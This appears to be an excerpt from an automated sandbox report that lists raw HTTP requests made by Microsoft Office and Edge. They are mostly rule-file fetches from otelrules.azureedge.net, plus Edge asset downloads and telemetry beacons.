Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732483243&P2=404&P3=2&P4=RbUBOL3%2bjy8tJw1DlrFdeUoM8CvuNG3YJHRa7ERwbZeFUrvslBLhEmjGQB2lx8UHfTKE3T%2bsvXjDZrnM0tTP9Q%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: NjsdqLbrXU4zZ7ENyYhntpSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731883003604&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3ECA3735FCB561D93BD4220FFDE260F3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731883003604&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7abd790206004287940ae14bdbdee503&activityId=7abd790206004287940ae14bdbdee503&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3ECA3735FCB561D93BD4220FFDE260F3; _EDGE_S=F=1&SID=0420689AAE7B65F7096F7DA0AF4C6478; _EDGE_V=1
